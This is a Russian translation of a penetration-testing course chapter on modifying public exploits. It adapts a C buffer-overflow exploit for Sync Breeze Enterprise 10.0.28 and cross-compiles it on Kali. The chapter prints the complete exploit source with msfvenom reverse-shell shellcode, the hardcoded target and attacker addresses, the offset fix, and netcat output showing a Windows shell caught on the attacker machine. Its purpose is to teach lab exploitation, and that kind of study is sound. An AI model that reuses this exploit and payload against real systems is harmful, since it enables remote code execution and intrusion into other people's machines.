disclaimer: Данный материал является свободным (приближенным к оригиналу) переводом методического материала PWK, в частности Глава 15. Исправление эксплоитов. В связи с закрытым форматом распространения данного материала убедительная просьба ознакомившихся с ней не осуществлять свободное распространение содержимого статьи, чтобы не ставить под удар других участников форума. Приятного чтения.
Введение
Написание эксплойта с нуля может быть сложным и трудоемким процессом. Но не менее сложным и трудоемким может быть поиск публичного эксплойта, который бы точно соответствовал нашим потребностям во время тестирования. Один из хороших компромиссов состоит в том, чтобы модифицировать публичный эксплойт в соответствии с конкретными потребностями.
Однако это решение сопряжено с определенными трудностями. В случае изменения памяти эксплойтами, как переполнения буфера, может потребоваться изменить основные целевые параметры, такие как информация о сокетах, адрес возврата, пейлоад и адреса смещения.
Понимание каждого из этих элементов очень важно. Например, если цель работает под управлением Windows 2008 Server и мы пытаемся запустить эксплойт, написанный и протестированный под Windows 2003 Server, более новые механизмы защиты, такие как ASLR, скорее всего, приведут к аварийному завершению работы приложения, что может заблокировать этот вектор атаки на некоторое время или повлиять на производственную среду. Обеих ситуаций следует избегать.
Помня об этом, вместо того, чтобы запускать несовпадающий эксплойт, следует всегда внимательно читать код эксплойта, модифицировать его по мере необходимости и тестировать его на нашей собственной цели в песочнице, когда это возможно.
Наличие этих обстоятельств объясняет, почему на таких онлайн-ресурсах, какСсылка скрыта от гостей, размещено несколько эксплойтов для одной и той же уязвимости, каждый из которых написан для различных версий и архитектур целевых операционных систем.
Мы также можем извлечь выгоду из переноса эксплойта на другой язык программирования, чтобы включить дополнительные готовые библиотеки и расширить функциональность эксплойта, импортировав его в фреймворк атаки.
Наконец, эксплойты, написанные для запуска на определенной операционной системе и архитектуре, возможно, придется перенести на другую платформу. В качестве примера, мы часто сталкиваемся с ситуациями, когда эксплойт должен быть скомпилирован под Windows, но мы хотим запустить его на Кали.
В этой главе мы рассмотрим многие из этих проблем по мере того, как будем проходить шаги, необходимые для модификации публичного кода эксплойта в соответствии с конкретной платформой атаки и целью. Далее будут рассмотренны как эксплойты изменения памяти, так и веб-эксплойты.
Исправление перезаписывающих память эксплоитов
Эксплойты повреждения (перезаписи) памяти (например, эксплоиты переполнения буфера) относительно сложны и их может быть трудно модифицировать. Прежде чем перейти к примеру, мы должны обсудить этот процесс и обратить внимание на некоторые важные моменты и проблемы, с которыми столкнемся.
Общий обзор и выводы
Общий процесс стандартного переполнения стека (в приложениях, работающих в пользовательском режиме без средств защиты, таких как DEP и ASLR) достаточно прост. Эксплойт будет делать следующее:
- Создаст большой буфер, который спровоцирует переполнение.
- Возьмёт под контроль EIP, перезаписав адрес возврата на стек, заполнив большой буфер соответствующим смещением.
- Включит выбранный пейлоад в буфер, дополненный опциональным NOP заголовком.
- Выберет правильную инструкцию адреса возврата, такую как JMP ESP (или другой регистр), чтобы перенаправить поток исполнения в наш пейлоад.
Дополнительно, по мере исправления эксплойта, в зависимости от характера уязвимости, может потребоваться модифицировать элементы созданного буфера под нашу цель, такие как пути к файлам, IP-адреса и порты, URL-адреса и т.д. Если эти изменения повлияют на смещение, мы должны скорректировать длину буфера, чтобы убедиться, что перезаписываем адрес возврата требуемыми байтами.
Хотя можно надеяться, что адрес возврата, используемый в эксплойте, правильный, более ответственным подходом является поиск адреса возврата самостоятельно, особенно если используемый адрес не является частью уязвимого приложения или его DLL. Одним из самых надежных способов сделать это является клонирование целевой среды локально на виртуальной машине, а затем использование отладчика на уязвимом программном обеспечении для получения адреса памяти команды адреса возврата.
Мы также должны рассмотреть возможность изменения пейлоада, содержащегося в исходном коде эксплойта.
Как упоминалось в предыдущем модуле, публичные эксплойты представляют собой опасность, поскольку они часто содержат пейлоад в шестнадцатеричной кодировке, которая должна быть восстановлена (reverse-engineered), чтобы определить, как он работает. Поэтому мы всегда должны проверять пейлоад, используемый в публичных эксплойтах, или, что еще лучше, вставлять свой собственный.
Когда мы это сделаем, мы включим наш собственный IP-адрес и номера портов и, возможно, исключим некоторые плохие символы, которые мы можем определить самостоятельно или получить из комментариев эксплойта.
В то время, как создание собственного пейлоада при наличии такой возможности носит рекомендательный характер, существуют эксплойты, которые используют пользовательский пейлоад, который является ключом к успешной компрометации уязвимого приложения. Если это так, то наш единственный вариант - реинжиниринг пейлоада, чтобы определить, как он функционирует и безопасно ли его выполнять. Данный процесс сложный и выходит за рамки данной главы, поэтому мы вместо этого сосредоточимся на замене шелл-кода.
Все эти соображения следует учитывать при исправлении эксплойта.
Импорт и проверка эксплоита
В этом примере мы снова обратимся к Sync Breeze Enterprise 10.0.28, как делали это в предыдущей главе, но остановимся на другом эксплойте. Это даст нам еще один рабочий эксплойт для целевой среды и позволит пройти процесс внесения изменений.
Поиск по продукту и версии показывает, что есть два доступных эксплойта для этой конкретной уязвимости, один из которых написан на C:
Bash:
kali@kali:~$ searchsploit "Sync Breeze Enterprise 10.0.28"
---------------------------------------------------------------- ---------------------
Exploit Title | Path (/usr/share/exploitdb/)
---------------------------------------------------- ---------------------------------
Sync Breeze Enterprise 10.0.28 - Remote Buffer Over | exploits/windows/remote/42928.py
Sync Breeze Enterprise 10.0.28 - Remote Buffer Over | exploits/windows/dos/42341.c
---------------------------------------------------------------- ---------------------
Листинг 1 - Поиск доступных эксплоитов для уязвимого ПО с использованием searchsploit
Поскольку мы уже знакомы с тем, как работает уязвимость и как она используется, нам предоставляется хорошая возможность увидеть различия между скриптовыми языками, такими как Python, и скомпилированным языком, таким как C, без дополнительной сложности при раскручивании новой уязвимости.
Несмотря на то, что между этими двумя языками существует множество различий, сконцентрируемся на двух основных отличиях, которые повлияют на нас, включая управление памятью и операции со строками.
Первое ключевое отличие заключается в том, что скриптовые языки выполняются через интерпретатор, а не компилируются для создания отдельного исполняемого файла. Поскольку скриптовые языки требуют наличия интерпретатора, это означает, что мы не можем запустить скрипт Python в среде, где Python не установлен. Это может ограничить нас, особенно если нужен отдельный эксплойт (например, локальная эскалация привилегий), который должен выполняться в окружении, в котором не установлен Python.
В качестве альтернативы можно рассмотреть использование PyInstaller (Ссылка скрыта от гостей), который упаковывает приложения Python в отдельные исполняемые файлы для различных целевых операционных систем. Однако, учитывая нюансы кода эксплойта, мы предлагаем портировать код вручную, чтобы полностью понять, как будет работать эксплойт.
Дополнительное отличие между двумя языками заключается в том, что в скриптовом языке, таком как *Python*, конкатенация строки очень проста и обычно принимает форму сложения двух строк:
Python:
kali@kali:~$ python
>>> string1 = "This is"
>>> string2 = " a test"
>>> string3 = string1 + string2
>>> print string3
This is a test
Листинг 2 - Пример конкатенации (сложения) строк в Python
Как будет рассмотрено далее в этом модуле, конкатенирование строк таким образом не допускается в языке программирования C.
Чтобы начать процесс модификации нашего эксплойта, мы переместим
Ссылка скрыта от гостей
в нашу текущую рабочую директорию, используя удобную опцию SearchSploit -m mirror (copy):
Bash:
kali@kali:~$ searchsploit -m 42341
Exploit: Sync Breeze Enterprise 10.0.28 - Remote Buffer Overflow (PoC)
URL: https://www.exploit-db.com/exploits/42341/
Path: /usr/share/exploitdb/exploits/windows/dos/42341.c
File Type: C source, UTF-8 Unicode text, with CRLF line terminators
Copied to: /home/kali/42341.c
Листинг 3 - Использование searchsploit для копирования эксплоита в текущую директорию
Теперь, когда эксплойт скопирован в наш домашний каталог, можно проверить его, чтобы определить, какие модификации требуются для компиляции эксплойта для его работы в нашем целевом окружении.
Однако, прежде чем рассматривать компиляцию, мы замечаем, что заголовки (такие как
Ссылка скрыта от гостей
) указывают на то, что этот код предназначался для компиляции под Windows:
C:
#include <inttypes.h>
#include <stdio.h>
#include <winsock2.h>
#include <windows.h>
Листинг 4 - Заголовки (headers) С в начале кода эксплоита
Хотя мы могли бы попытаться скомпилировать это на Windows, мы вместо этого
Ссылка скрыта от гостей
этот эксплойт на Кали.Кросс-компиляция кода эксплоита
Чтобы избежать проблем с компиляцией, обычно рекомендуется использовать нативные компиляторы для конкретной операционной системы, на которую нацелен код, однако это не всегда возможно.
Бывают ситуации, когда мы имеем доступ только к одной среде атаки (например, Kali), но нам необходимо использовать эксплойт, написанный для другой платформы. Именно здесь кросс-компилятор может быть чрезвычайно полезен.
В этом разделе мы будем использовать чрезвычайно популярный кросс-компилятор mingw-64. Если он еще не установлен, то мы можем установить его с помощью команды apt:
Bash:
kali@kali:~$ sudo apt install mingw-w64
Листинг 5 - Установка кросс-компилятора mingw-64 в Kali
После завершения установки можно использовать команду mingw-64 для компиляции кода
Ссылка скрыта от гостей
. Первый шаг - убедиться, что код эксплойта компилируется без ошибок:
Bash:
kali@kali:~$ i686-w64-mingw32-gcc 42341.c -o syncbreeze_exploit.exe
/tmp:syncbreeze_exploit.c:(.text+0x2e): undefined reference to `_imp__WSAStartup@8'
/tmp:syncbreeze_exploit.c:(.text+0x3c): undefined reference to `_imp__WSAGetLastError@
/tmp:syncbreeze_exploit.c:(.text+0x80): undefined reference to `_imp__socket@12'
/tmp:syncbreeze_exploit.c:(.text+0x93): undefined reference to `_imp__WSAGetLastError@
/tmp:syncbreeze_exploit.c:(.text+0xbd): undefined reference to `_imp__inet_addr@4'
/tmp:syncbreeze_exploit.c:(.text+0xdd): undefined reference to `_imp__htons@4'
/tmp:syncbreeze_exploit.c:(.text+0x106): undefined reference to `_imp__connect@12'
/tmp:syncbreeze_exploit.c:(.text+0x14f): undefined reference to `_imp__send@16'
/tmp:syncbreeze_exploit.c:(.text+0x182): undefined reference to `_imp__closesocket@4'
collect2: error: ld returned 1 exit status
Листинг 6 - Ошибки, показанные после попытки компиляции эксплоита с помощью mingw-64
В процессе компиляции что-то пошло не так, и хотя ошибки из листинга 6 могут показаться непонятными, простой поиск Google по "WSAStartup" показывает, что это функция, найденная в winsock.h. Дальнейшие исследования показывают, что эти ошибки возникают тогда, когда компоновщик не может найти библиотеку winsock, и добавление параметра -lws2_32 в команду i686-w64-mingw32-gcc должно исправить проблему:
Bash:
kali@kali:~$ i686-w64-mingw32-gcc 42341.c -o syncbreeze_exploit.exe -lws2_32
kali@kali:~$ ls -lah
total 372K
drwxr-xr-x 2 root root 4.0K Feb 24 17:13 .
drwxr-xr-x 17 root root 4.0K Feb 24 15:42 ..
-rw-r--r-- 1 root root 4.7K Feb 24 15:46 42341.c
-rwxr-xr-x 1 root root 355K Feb 24 17:13 syncbreeze_exploit.exe
Листинг 7 - Успешная компиляция кода после ихменения команды mingw-64 для подключения библиотеки winsock
Листинг 7 показывает, что mingw32 создал исполняемый файл без ошибок компиляции.
Изменение информации о сокете
Мы уже знаем, что этот эксплойт нацелен на уязвимость с удаленным доступом, а это означает, что наш код должен в какой-то момент установить соединение с целью.
Рассматривая код на C, мы замечаем, что он использует жестко прописанное значения для IP адреса, а также для порта port:
C:
printf("[>] Socket created.\n");
server.sin_addr.s_addr = inet_addr("10.11.0.22");
server.sin_family = AF_INET;
server.sin_port = htons(80);
Листинг 8 - Нахождение строк, содержащих IP address и port
Это будут первые значения, которые нам нужно будет скорректировать в нашем эксплойте.
Изменение адреса возврата
Дальнейшая проверка кода выявляет использование адреса возврата, расположенного в msvbvm60.dll, который не является частью уязвимого программного обеспечения. Глядя на загруженные модули в отладчике на нашем Windows-клиенте, мы замечаем, что эта DLL отсутствует, что означает, что адрес возврата не будет работать для нашей цели.
Учитывая, что у нас уже есть рабочий эксплойт из нашего предыдущего модуля, мы можем заменить целевой адрес возврата на наш рабочий.
C:
unsigned char retn[] = "\x83\x0c\x09\x10"; // 0x10090c83
Листинг 9 - Изменение адреса возврата
Если у нас нет адреса возврата от ранее разработанного эксплойта, то у нас есть несколько вариантов. Первый и наиболее рекомендуемый вариант - это локальное воссоздание целевого окружения и использование отладчика для определения этого адреса. Этот процесс мы использовали при разработке оригинального эксплойта.
Если это не подходит, то мы можем использовать информацию из других общедоступных эксплойтов для получения надежного адреса возврата, который будет соответствовать нашему целевому окружению. Например, если нам нужен адрес возврата для инструкции JMP ESP на Windows Server 2003 SP2, мы могли бы искать его в публичных эксплойтах, используя различные уязвимости, нацеленные на эту операционную систему. Этот метод менее надежен и может сильно варьироваться в зависимости от установленных средств защиты операционной системы.
В качестве альтернативы, мы могли бы получить обратный адрес непосредственно с целевой машины. Если у нас есть доступ к целевой машине в качестве непривилегированного пользователя и мы можем запустить эксплойт, который повысит наши привилегии, то мы сможем скопировать интересующие нас DLL на нашу атакующую машину и использовать различные инструменты, такие как дизассемблеры или даже
Ссылка скрыта от гостей
из Metasploit Framework, чтобы получить рабочий адрес возврата.Изменение пейлоада
Продолжая анализ нашего эксплойта C, мы замечаем, что переменная shellcode, кажется, содержит пейлоад. Так как она хранится в виде шестнадцатеричных байтов, мы не можем легко определить ее назначение. Единственная подсказка автора относится к сдвигу NOP, который является частью переменной shellcode:
C:
unsigned char shellcode[] =
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" // NOP SLIDE
"\xdb\xda\xbd\x92\xbc\xaf\xa7\xd9\x74\x24\xf4\x58\x31\xc9\xb1"
"\x52\x31\x68\x17\x83\xc0\x04\x03\xfa\xaf\x4d\x52\x06\x27\x13"
"\x9d\xf6\xb8\x74\x17\x13\x89\xb4\x43\x50\xba\x04\x07\x34\x37"
"\xee\x45\xac\xcc\x82\x41\xc3\x65\x28\xb4\xea\x76\x01\x84\x6d"
"\xf5\x58\xd9\x4d\xc4\x92\x2c\x8c\x01\xce\xdd\xdc\xda\x84\x70"
"\xf0\x6f\xd0\x48\x7b\x23\xf4\xc8\x98\xf4\xf7\xf9\x0f\x8e\xa1"
"\xd9\xae\x43\xda\x53\xa8\x80\xe7\x2a\x43\x72\x93\xac\x85\x4a"
"\x5c\x02\xe8\x62\xaf\x5a\x2d\x44\x50\x29\x47\xb6\xed\x2a\x9c"
"\xc4\x29\xbe\x06\x6e\xb9\x18\xe2\x8e\x6e\xfe\x61\x9c\xdb\x74"
"\x2d\x81\xda\x59\x46\xbd\x57\x5c\x88\x37\x23\x7b\x0c\x13\xf7"
"\xe2\x15\xf9\x56\x1a\x45\xa2\x07\xbe\x0e\x4f\x53\xb3\x4d\x18"
"\x90\xfe\x6d\xd8\xbe\x89\x1e\xea\x61\x22\x88\x46\xe9\xec\x4f"
"\xa8\xc0\x49\xdf\x57\xeb\xa9\xf6\x93\xbf\xf9\x60\x35\xc0\x91"
"\x70\xba\x15\x35\x20\x14\xc6\xf6\x90\xd4\xb6\x9e\xfa\xda\xe9"
"\xbf\x05\x31\x82\x2a\xfc\xd2\x01\xba\x8a\xef\x32\xb9\x72\xe1"
"\x9e\x34\x94\x6b\x0f\x11\x0f\x04\xb6\x38\xdb\xb5\x37\x97\xa6"
"\xf6\xbc\x14\x57\xb8\x34\x50\x4b\x2d\xb5\x2f\x31\xf8\xca\x85"
"\x5d\x66\x58\x42\x9d\xe1\x41\xdd\xca\xa6\xb4\x14\x9e\x5a\xee"
"\x8e\xbc\xa6\x76\xe8\x04\x7d\x4b\xf7\x85\xf0\xf7\xd3\x95\xcc"
"\xf8\x5f\xc1\x80\xae\x09\xbf\x66\x19\xf8\x69\x31\xf6\x52\xfd"
"\xc4\x34\x65\x7b\xc9\x10\x13\x63\x78\xcd\x62\x9c\xb5\x99\x62"
"\xe5\xab\x39\x8c\x3c\x68\x59\x6f\x94\x85\xf2\x36\x7d\x24\x9f"
"\xc8\xa8\x6b\xa6\x4a\x58\x14\x5d\x52\x29\x11\x19\xd4\xc2\x6b"
"\x32\xb1\xe4\xd8\x33\x90";
Листинг 10 - Переменная шеллкода содержит сдвиг NOP перед пейлоадом
Так как мы уже определили "плохие" символы в нашем исследовании предыдущего эксплойта, мы можем сгенерировать нашу собственную полезную нагрузку с помощью msfvenom:
Bash:
kali@kali:~$ msfvenom -p windows/shell_reverse_tcp LHOST=10.11.0.4 LPORT=443 EXITFUNC=thread -f c –e x86/shikata_ga_nai -b "\x00\x0a\x0d\x25\x26\x2b\3d"
Found 11 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 351 (iteration=0)
x86/shikata_ga_nai chosen with final size 351
Payload size: 351 bytes
Final size of c file: 1500 bytes
unsigned char buf[] =
"\xbf\x27\xf0\xd2\x43\xda\xd5\xd9\x74\x24\xf4\x58\x31\xc9\xb1"
"\x52\x31\x78\x12\x03\x78\x12\x83\xcf\x0c\x30\xb6\xf3\x05\x37"
"\x39\x0b\xd6\x58\xb3\xee\xe7\x58\xa7\x7b\x57\x69\xa3\x29\x54"
"\x02\xe1\xd9\xef\x66\x2e\xee\x58\xcc\x08\xc1\x59\x7d\x68\x40"
"\xda\x7c\xbd\xa2\xe3\x4e\xb0\xa3\x24\xb2\x39\xf1\xfd\xb8\xec"
"\xe5\x8a\xf5\x2c\x8e\xc1\x18\x35\x73\x91\x1b\x14\x22\xa9\x45"
"\xb6\xc5\x7e\xfe\xff\xdd\x63\x3b\x49\x56\x57\xb7\x48\xbe\xa9"
"\x38\xe6\xff\x05\xcb\xf6\x38\xa1\x34\x8d\x30\xd1\xc9\x96\x87"
"\xab\x15\x12\x13\x0b\xdd\x84\xff\xad\x32\x52\x74\xa1\xff\x10"
"\xd2\xa6\xfe\xf5\x69\xd2\x8b\xfb\xbd\x52\xcf\xdf\x19\x3e\x8b"
"\x7e\x38\x9a\x7a\x7e\x5a\x45\x22\xda\x11\x68\x37\x57\x78\xe5"
"\xf4\x5a\x82\xf5\x92\xed\xf1\xc7\x3d\x46\x9d\x6b\xb5\x40\x5a"
"\x8b\xec\x35\xf4\x72\x0f\x46\xdd\xb0\x5b\x16\x75\x10\xe4\xfd"
"\x85\x9d\x31\x51\xd5\x31\xea\x12\x85\xf1\x5a\xfb\xcf\xfd\x85"
"\x1b\xf0\xd7\xad\xb6\x0b\xb0\xdb\x4d\x13\x52\xb4\x53\x13\x53"
"\xff\xdd\xf5\x39\xef\x8b\xae\xd5\x96\x91\x24\x47\x56\x0c\x41"
"\x47\xdc\xa3\xb6\x06\x15\xc9\xa4\xff\xd5\x84\x96\x56\xe9\x32"
"\xbe\x35\x78\xd9\x3e\x33\x61\x76\x69\x14\x57\x8f\xff\x88\xce"
"\x39\x1d\x51\x96\x02\xa5\x8e\x6b\x8c\x24\x42\xd7\xaa\x36\x9a"
"\xd8\xf6\x62\x72\x8f\xa0\xdc\x34\x79\x03\xb6\xee\xd6\xcd\x5e"
"\x76\x15\xce\x18\x77\x70\xb8\xc4\xc6\x2d\xfd\xfb\xe7\xb9\x09"
"\x84\x15\x5a\xf5\x5f\x9e\x7a\x14\x75\xeb\x12\x81\x1c\x56\x7f"
"\x32\xcb\x95\x86\xb1\xf9\x65\x7d\xa9\x88\x60\x39\x6d\x61\x19"
"\x52\x18\x85\x8e\x53\x09";
Листинг 11 - Использование msfvenom для создания подходящего реверс-шелл пейлоада
Со всеми вышеперечисленными изменениями наш код эксплойта теперь выглядит следующим образом:
C:
...
#define _WINSOCK_DEPRECATED_NO_WARNINGS
#define DEFAULT_BUFLEN 512
#include <inttypes.h>
#include <stdio.h>
#include <winsock2.h>
#include <windows.h>
DWORD SendRequest(char *request, int request_size) {
WSADATA wsa;
SOCKET s;
struct sockaddr_in server;
char recvbuf[DEFAULT_BUFLEN];
int recvbuflen = DEFAULT_BUFLEN;
int iResult;
printf("\n[>] Initialising Winsock...\n");
if (WSAStartup(MAKEWORD(2, 2), &wsa) != 0)
{
printf("[!] Failed. Error Code : %d", WSAGetLastError());
return 1;
}
printf("[>] Initialised.\n");
if ((s = socket(AF_INET, SOCK_STREAM, 0)) == INVALID_SOCKET)
{
printf("[!] Could not create socket : %d", WSAGetLastError());
}
printf("[>] Socket created.\n");
server.sin_addr.s_addr = inet_addr("10.11.0.22");
server.sin_family = AF_INET;
server.sin_port = htons(80);
if (connect(s, (struct sockaddr *)&server, sizeof(server)) < 0)
{
puts("[!] Connect error");
return 1;
}
puts("[>] Connected");
if (send(s, request, request_size, 0) < 0)
{
puts("[!] Send failed");
return 1;
}
puts("\n[>] Request sent\n");
closesocket(s);
return 0;
}
void EvilRequest() {
char request_one[] = "POST /login HTTP/1.1\r\n"
"Host: 10.11.0.22\r\n"
"User-Agent: Mozilla/5.0 (X11; Linux_86_64; rv:52.0) Gecko/20100101 Firefox/52.0\r\n"
"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n"
"Accept-Language: en-US,en;q=0.5\r\n"
"Referer: http://10.11.0.22/login\r\n"
"Connection: close\r\n"
"Content-Type: application/x-www-form-urlencoded\r\n"
"Content-Length: ";
char request_two[] = "\r\n\r\nusername=";
int initial_buffer_size = 780;
char *padding = malloc(initial_buffer_size);
memset(padding, 0x41, initial_buffer_size);
memset(padding + initial_buffer_size - 1, 0x00, 1);
unsigned char retn[] = "\x83\x0c\x09\x10"; // 0x10090c83
// root@kali:~$ msfvenom -p windows/shell_reverse_tcp LHOST=10.11.0.4 LPORT=443 EXITFUNC=thread -f c –e x86/shikata_ga_nai -b "\x00\x0a\x0d\x25\x26\x2b\3d"
unsigned char shellcode[] =
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" // NOP SLIDE
"\xbf\x27\xf0\xd2\x43\xda\xd5\xd9\x74\x24\xf4\x58\x31\xc9\xb1"
"\x52\x31\x78\x12\x03\x78\x12\x83\xcf\x0c\x30\xb6\xf3\x05\x37"
"\x39\x0b\xd6\x58\xb3\xee\xe7\x58\xa7\x7b\x57\x69\xa3\x29\x54"
"\x02\xe1\xd9\xef\x66\x2e\xee\x58\xcc\x08\xc1\x59\x7d\x68\x40"
"\xda\x7c\xbd\xa2\xe3\x4e\xb0\xa3\x24\xb2\x39\xf1\xfd\xb8\xec"
"\xe5\x8a\xf5\x2c\x8e\xc1\x18\x35\x73\x91\x1b\x14\x22\xa9\x45"
"\xb6\xc5\x7e\xfe\xff\xdd\x63\x3b\x49\x56\x57\xb7\x48\xbe\xa9"
"\x38\xe6\xff\x05\xcb\xf6\x38\xa1\x34\x8d\x30\xd1\xc9\x96\x87"
"\xab\x15\x12\x13\x0b\xdd\x84\xff\xad\x32\x52\x74\xa1\xff\x10"
"\xd2\xa6\xfe\xf5\x69\xd2\x8b\xfb\xbd\x52\xcf\xdf\x19\x3e\x8b"
"\x7e\x38\x9a\x7a\x7e\x5a\x45\x22\xda\x11\x68\x37\x57\x78\xe5"
"\xf4\x5a\x82\xf5\x92\xed\xf1\xc7\x3d\x46\x9d\x6b\xb5\x40\x5a"
"\x8b\xec\x35\xf4\x72\x0f\x46\xdd\xb0\x5b\x16\x75\x10\xe4\xfd"
"\x85\x9d\x31\x51\xd5\x31\xea\x12\x85\xf1\x5a\xfb\xcf\xfd\x85"
"\x1b\xf0\xd7\xad\xb6\x0b\xb0\xdb\x4d\x13\x52\xb4\x53\x13\x53"
"\xff\xdd\xf5\x39\xef\x8b\xae\xd5\x96\x91\x24\x47\x56\x0c\x41"
"\x47\xdc\xa3\xb6\x06\x15\xc9\xa4\xff\xd5\x84\x96\x56\xe9\x32"
"\xbe\x35\x78\xd9\x3e\x33\x61\x76\x69\x14\x57\x8f\xff\x88\xce"
"\x39\x1d\x51\x96\x02\xa5\x8e\x6b\x8c\x24\x42\xd7\xaa\x36\x9a"
"\xd8\xf6\x62\x72\x8f\xa0\xdc\x34\x79\x03\xb6\xee\xd6\xcd\x5e"
"\x76\x15\xce\x18\x77\x70\xb8\xc4\xc6\x2d\xfd\xfb\xe7\xb9\x09"
"\x84\x15\x5a\xf5\x5f\x9e\x7a\x14\x75\xeb\x12\x81\x1c\x56\x7f"
"\x32\xcb\x95\x86\xb1\xf9\x65\x7d\xa9\x88\x60\x39\x6d\x61\x19"
"\x52\x18\x85\x8e\x53\x09";
char request_three[] = "&password=A";
int content_length = 9 + strlen(padding) + strlen(retn) + strlen(shellcode) + strlen(request_three);
char *content_length_string = malloc(15);
sprintf(content_length_string, "%d", content_length);
int buffer_length = strlen(request_one) + strlen(content_length_string) + initial_buffer_size + strlen(retn) + strlen(request_two) + strlen(shellcode) + strlen(request_three);
char *buffer = malloc(buffer_length);
memset(buffer, 0x00, buffer_length);
strcpy(buffer, request_one);
strcat(buffer, content_length_string);
strcat(buffer, request_two);
strcat(buffer, padding);
strcat(buffer, retn);
strcat(buffer, shellcode);
strcat(buffer, request_three);
SendRequest(buffer, strlen(buffer));
}
int main() {
EvilRequest();
return 0;
}
Листинг 12 - Код эксплоита, содержащий изменения информации о соединении, инструкции адреса возврата и пейлоада
Скомпилируем код эксплойта, используя комнду mingw-64, чтобы проверить, не приводит ли он к ошибкам:
Bash:
kali@kali:~/Desktop$ i686-w64-mingw32-gcc 42341.c -o syncbreeze_exploit.exe -lws2_32
kali@kali:~/Desktop$ ls -lah
total 372K
drwxr-xr-x 2 kali kali 4.0K Feb 24 17:14 .
drwxr-xr-x 17 kali kali 4.0K Feb 24 15:42 ..
-rw-r--r-- 1 kali kali 4.7K Feb 24 15:46 42341.c
-rwxr-xr-x 1 kali kali 355K Feb 24 17:14 syncbreeze_exploit.exe
Листинг 13 - Компилирование модифицированного кода эксплоита с использованием mingw-64
Теперь, когда у нас есть обновленный скомпилированный эксплойт, мы можем его протестировать. Мы подключим наш отладчик (debugger) к сервису SyncBreeze на нашем тестовом компьютере в песочнице и поставим точку останова на адресе памяти нашей инструкции JMP ESP:
Рисунок 1: Установка точки останова на адресе JMP ESP
Как только наша точка останова будет установлена в отладчике, мы можем запустить приложение в нормальном режиме и попытаться выполнить наш эксплойт из Kali Linux.
Поскольку наш бинарник кросс-компилирован для работы под Windows, то мы не можем просто запустить его с нашей машины Kali Linux. Для этого мы будем использовать
Ссылка скрыта от гостей
, который является прослойкой совместимости, позволяющей запускать Windows-приложения на нескольких операционных системах, таких как Linux, BSD и MacOS:
Bash:
kali@kali:~/Desktop$ wine syncbreeze_exploit.exe
[>] Initialising Winsock...
[>] Initialised.
[>] Socket created.
[>] Connected
[>] Request sent
Листинг 14 - Запуск Windows эксплоита с использованием wine
Удивительно, но мы не попали в точку останова. Вместо этого приложение ломается, и регистр EIP, как видно, переписан на 0x9010090c.
Рисунок 2: EIP перезаписан инструкцией адреса возврата со сдвигом в 1 байт
Анализируя и значение, хранящееся в EIP (0x9010090c), и буфер, посылаемый целевому приложению, мы видим, что наше смещение для перезаписи адреса возврата в стеке сдвинуто на один байт. Неправильное смещение приводит к тому, что CPU получает (POP) другой адрес возврата из стека вместо необходимого - 0x10090c83.
Изменение буфера переполнения
Давайте попробуем разобраться с этим несоответствием. Глядя на то, где создается initial часть нашего большого буфера подстановки символов "А", мы замечаем, что он начинается с вызова
Ссылка скрыта от гостей
с размером 780:
C:
int initial_buffer_size = 780;
char *padding = malloc(initial_buffer_size);
Листинг 15 - Выделение памяти для initial буфера с использованием malloc
Это число звучит знакомо. Если вы помните, из наших исследований в главе "Переполнение буфера в Windows", мы определили, что 780 - это смещение в байтах, необходимое для перезаписи адреса возврата на стеке и получения контроля над регистром EIP.
Функция malloc только выделяет блок памяти в зависимости от требуемого размера. Этот буфер необходимо правильно инициализировать, что и делается с помощью функции
Ссылка скрыта от гостей
сразу после вызова malloc:
C:
memset(padding, 0x41, initial_buffer_size);
Листинг 16 - Заполнение initial буфера символами “A”
Команда memset заполнит выделенную память определенным символом, которым в нашем случае является 0x41, шестнадцатиричное представление символа "А" в ASCII.
Интересна следующая строка кода в эксплойте. Вызов memset, который устанавливает последний байт буфера в NULL байт:
C:
memset(padding + initial_buffer_size - 1, 0x00, 1);
Листинг 17 - Memset устанавливает в последний байт значение null-terminator для конвертирования буфера в строку
Сначала это может показаться непонятным, однако, продолжая читать код, мы достигаем строк, где создается конечный буфер.
C:
char *buffer = malloc(buffer_length);
memset(buffer, 0x00, buffer_length);
strcpy(buffer, request_one);
strcat(buffer, content_length_string);
strcat(buffer, request_two);
strcat(buffer, padding);
strcat(buffer, retn);
strcat(buffer, shellcode);
strcat(buffer, request_three);
Листинг 18 - Создание финального буфера для эксплоита
Код начинается с выделения блока памяти для символьного массива buffer с помощью malloc и заполнения массива NULL байтами. Далее код заполняет символьный массив buffer, копируя содержимое других переменных с помощью различных функций манипулирования строками, таких как
Ссылка скрыта от гостей
и
Ссылка скрыта от гостей
.Окончательный буфер, построенный в виде строки, является очень важной частью информации. В языке программирования Си используется
Ссылка скрыта от гостей
, то есть такие функции, как strcpy и strcat определяют конец и размер строки путем поиска первого вхождения NULL байта в целевой символьный массив. Так как размер выделения нашего начального буфера padding равен 780, установив последний байт в 0x00 (Листинг 17), мы в конечном итоге собираем (strcat) строку из ASCII-символов "A" длиной 779 байт. Это объясняет неправильную перезапись регистра EIP.Мы можем быстро исправить это, увеличив запрашиваемый объем памяти, определяемый переменной initial_buffer_size, на 1.
C:
int initial_buffer_size = 781;
char *padding = malloc(initial_buffer_size);
memset(padding, 0x41, initial_buffer_size);
memset(padding + initial_buffer_size - 1, 0x00, 1);
Листинг 19 - Изменение размера выделяемой памяти
В качестве заключительного теста мы снова скомпилируем код, настроим листнер Netcat на порт 443, чтобы перехватить реверс-шелл, и запустим эксплойт:
Bash:
kali@kali:~/Desktop$ i686-w64-mingw32-gcc 42341.c -o syncbreeze_exploit.exe -lws2_32
kali@kali:~$ sudo nc -lvp 443
listening on [any] 443 ...
Листинг 20 - Компиляция эксплоита и запуск листнера Netcat на порту 443
Далее запустим эксплоит:
Bash:
kali@kali:~/Desktop$ wine syncbreeze_exploit.exe
[>] Initialising Winsock...
[>] Initialised.
[>] Socket created.
[>] Connected
[>] Request sent
Листинг 21 - Запуск финальной версии эксплоита
И, наконец, переключимся на листнер Netcat:
Код:
listening on [any] 443 ...
connect to [10.11.0.4] from (UNKNOWN) [10.11.0.22] 49662
Microsoft Windows [Version 10.0.10240]
(c) 2015 Microsoft Corporation. All rights reserved.
C:\Windows\system32>
Листинг 22 - Получение реверс-шелла на нашем компьютере Kali Linux
